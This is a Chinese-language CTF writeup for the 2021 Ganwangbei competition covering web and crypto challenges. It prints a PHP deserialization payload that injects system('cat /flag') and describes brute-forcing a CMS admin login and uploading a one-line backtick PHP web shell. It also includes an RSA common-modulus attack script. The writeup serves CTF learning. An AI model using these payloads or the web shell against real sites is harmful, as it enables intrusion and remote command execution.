O:4:"func":3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:126:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:24:";}system("cat /flag");//";s:6:"action";s:15:"create_function";}i:1;s:8:"get_flag";}";

发送payload获得flag

Web3-挖洞大师

访问url

查看源代码,发现是由国际cms搭建的

在JS代码中发现可疑路径index/admin

在首页url中拼接路径,发现跳转到管理后台且后台真实路径为:

/index.php/admin-login-index.html



经过暴力破解,获取到管理后台的账户密码

admin/88888888

进入后台在基本设置中发现可以修改上传文件后缀,我们直接把php加上

在二维码处找到上传点,直接上传一句话木马

发现存在过滤,于是修改木马代码,重新上传

<?php
echo `$_POST[1]`;

访问木马文件,执行命令cat /flag,得到flag

Crypto

Crypto1-signin

打开附件是一串base64编码,直接丢进在线网站解密

得到RSA加密代码

from secret import flag
from Crypto.Util.number import *m = bytes_to_long(flag)e1 = 667430104865289
e2 = 537409930523421
p = getPrime(512)
q = getPrime(512)
n = p*q
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)print(f'c1 ={c1}')
print(f'c2 ={c2}')
print(f'n ={n}')c1 = 65902678572727724179176496573968997182712063317082289120453094068199325419989688382177808529042322217887334005084504796397220804856167255176415690217348252126097809130195208020694026250194047460581165024178358434305495364983830756552379335985399876528922076030595232679046941310786637260764992499375421464529
c2 = 85809403678250150153291471185999805870858123001273034212582847731825296891016810871397546134117012197599651729401590980020028382884068513201758926416192211821922593686232475967808964006786076460160428639353153658323208119453055070199243295330522804974849330926501091430419775155670264306222962413289616957519
n = 93012379949596679874010836520972463438155175961283277743514203871114329008044735500726440012464029144204813413909322389585966313426611488927292874319628063526009405144436605996389985977340280983469803412119458185047475253059636126555451557348169514975249710901899526974246139559730461540660990375034669042959

经典的共模攻击,先说说共模攻击

共模攻击
适用情况:明文m、模数n相同,公钥指数e、密文c不同,gcd(e1,e2)==1也就是e1和e2互质。如果common_e = gcd(e1,e2)=!1,即e1,e2不互质,最后的结果需要开common_e的次方。
PS:本题的情况就是第二种,e1和e2不互质,所以最好得到的结果需要开gcd(e1,e2)次方

#coding:utf-8
#by  :3tefani丶ؼzhou
#time:2021/12/8from Crypto.Util.number import *
import gmpy2"""
共模攻击
适用情况:明文m、模数n相同,公钥指数e、密文c不同,gcd(e1,e2)==1也就是e1和e2互质
如果common_e = gcd(e1,e2)=!1,即e1,e2不互质,最后的结果需要开common_e的次方
"""
def egcd(a, b):if a == 0:return (b, 0, 1)else:g, y, x = egcd(b % a, a)return (g, x - (b // a) * y, y)def decode():n = 93012379949596679874010836520972463438155175961283277743514203871114329008044735500726440012464029144204813413909322389585966313426611488927292874319628063526009405144436605996389985977340280983469803412119458185047475253059636126555451557348169514975249710901899526974246139559730461540660990375034669042959c1 = 65902678572727724179176496573968997182712063317082289120453094068199325419989688382177808529042322217887334005084504796397220804856167255176415690217348252126097809130195208020694026250194047460581165024178358434305495364983830756552379335985399876528922076030595232679046941310786637260764992499375421464529c2 = 85809403678250150153291471185999805870858123001273034212582847731825296891016810871397546134117012197599651729401590980020028382884068513201758926416192211821922593686232475967808964006786076460160428639353153658323208119453055070199243295330522804974849330926501091430419775155670264306222962413289616957519e1 = 667430104865289e2 = 537409930523421s = egcd(e1, e2)s1 = s[1]s2 = s[2]if s1<0:s1 = - s1c1 = gmpy2.invert(c1, n)elif s2<0:s2 = - s2c2 = gmpy2.invert(c2, n)if gmpy2.gcd(e1,e2)==1:print("e1,e2互质")message = pow(c1, s1, n) * pow(c2, s2, n) % nflag = long_to_bytes(message)print(flag)elif gmpy2.gcd(e1,e2)!=1:message = pow(c1, s1, n) * pow(c2, s2, n) % ncommon_e = gmpy2.gcd(e1, e2)print("e1,e2不互质,且公约数为"+str(common_e))flag = long_to_bytes((gmpy2.iroot(message, common_e)[0]))print(flag)
if __name__ == '__main__':decode()

run一下脚本,得到flag

flag{e6e5722e-4b9a-11ec-b784-00155d9a1603}

【有些人之间,注定只要相逢,就是对的。如果还能重逢,就是最好的。】

赣网杯2021 CTF---MiscWebCrypto部分Writeup相关推荐

  1. 强网杯2021 ctf线上赛ezmath wp(#超详细,带逆向新手走过一个又一个小坑)

    文章目录 引言 一.分析文件类型 二.初步分析 1 运行情况 2 IDA初步分析 三.详细分析 1 sub_13F3函数分析 2 查找蛛丝马迹 (1)mprotect (2)重写unk_2010 3 ...

  2. 红亚2015-3月杯季赛 CTF题部分writeup

    红亚2015-3月杯季赛 CTF题部分writeup 最近一直特别特别忙,没有时间写Blog,连续两周每天都忙到凌晨,连续两个周六都是快十一点才回宿舍.中途,间接地做了些红亚上,原来的一些CTF老题, ...

  3. ctf 杂项 猜 writeup

    ctf 杂项 猜 writeup 说实话这是我第一次用markdown写博客,可能写的不太好,请见谅 废话不多说,请看这道题 emmmm 只需要看出这是谁就可以得到flag了,但这张图片并没有头,我猜 ...

  4. 网络安全实验室CTF—脚本关 writeup

    网络安全实验室CTF-脚本关 writeup key又又找不到了 快速口算 这个题目是空的 怎么就是不弹出key呢? 知识点:验证码发布流程 逗比验证码第一期 逗比验证码第二期 逗比验证码第三期(SE ...

  5. 第二届赣网杯WEB第一题WP

    题目: 第二届赣网杯WEB第一题WP 进入环境,是一个连连看游戏 尝试完成连连看游戏,发现45秒内几乎不能完成任务,且并没有弹出flag 游戏结束后弹出对话框,发现鼠标右键不能使用,也不让查看源码 快 ...

  6. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  7. BSides Noida CTF 2021 web题wowooofreepoint writeup(两道反序列化)

    emmm终于开始正经地写第一篇wp了!撒花撒花~这场比赛也算是我第一个没爆零的比赛,自己独立做出来了一道(半?),拿到flag也是相当开心~(当然还是比较菜,大佬轻喷)比完赛之后自己又去把差一点做出来 ...

  8. 2021年第二届赣网杯网络安全大赛MISC-Writeup

    文章目录 decodemaster gwb-misc-lovemath gwb-misc3-testcat 题目附件请自取 链接:https://pan.baidu.com/s/11FjUJwKp3b ...

  9. 社团的CTF逆向题WriteUp

    最近社团弄了CTF比赛,然后我就帮忙写了逆向的题目,这里写一下WriteUp,题目和源码在附件中给出 一个简单的逆向:one_jmp_to_flag.exe 这题算是签到题,直接OD智能搜索就完事了, ...

  10. 【CTF】记录一次CTF比赛的Writeup(附题目下载地址)

    0x00 前言 最近因为省赛快来了,因此为实验室的小伙伴准备了这次比赛,总共10道题目,考虑到大多数小伙伴都刚从大一升到大二,因此整体难度不高,当然有几道难度还是有的. 题目大多数都是从网上东找西找的 ...

最新文章

  1. Restlet入门示例
  2. 关于nodejs的__dirname
  3. JavaScript学习杂记--对象和数组
  4. ref:下一个项目为什么要用 SLF4J
  5. .NET Core开发日志——Middleware
  6. 解决 CefSharp WPF控件不能使用输入法输入中文的问题(代码已提交到 github)
  7. 三角形外接球万能公式_秒杀三角形问题!!三角形分角线的几个重要结论及其应用...
  8. 微信小程序的出现会给前端开发带来什么
  9. linux下添加新硬盘的方法
  10. JDBC和数据库连接池的关系
  11. WSO2 ESB 5.0.0 集群配置
  12. autocad ios 虚线_在CAD中怎么画出虚线?CAD画虚线方法介绍
  13. 技能高考的计算机教室,2020湖北技能高考成绩查询时间
  14. 学无止境,京东活动自动领取脚本
  15. 计算机专业硕士论文字数要求,计算机专业硕士论文写作格式要求
  16. linux在vim中搜索文件,技术|超酷的 Vim 搜索技巧
  17. Adobe官方公布的RTMP协议规范
  18. tcpip Socket编程入门
  19. iOS开发实现资源包增量更新
  20. 2017年7月编程语言排行榜

热门文章

  1. Xenserver命令大全
  2. JS间隔指定字符数后面插入
  3. 我在国图读完的第一本书——《少有人走的路》
  4. 多彩泡泡屏保特效(JAVA版)
  5. 乐高收割机器人_乐高机器人这个大坑,为啥大家都拽着孩子往里跳?
  6. 房屋登记官考核模拟题(6)
  7. 宽带按流量计费?欢迎讨论!
  8. google阅读器快捷键
  9. Gym 100818 F Irrational Roots (数学)
  10. android前置摄像头预览,Android - 前置摄像头预览SurfaceView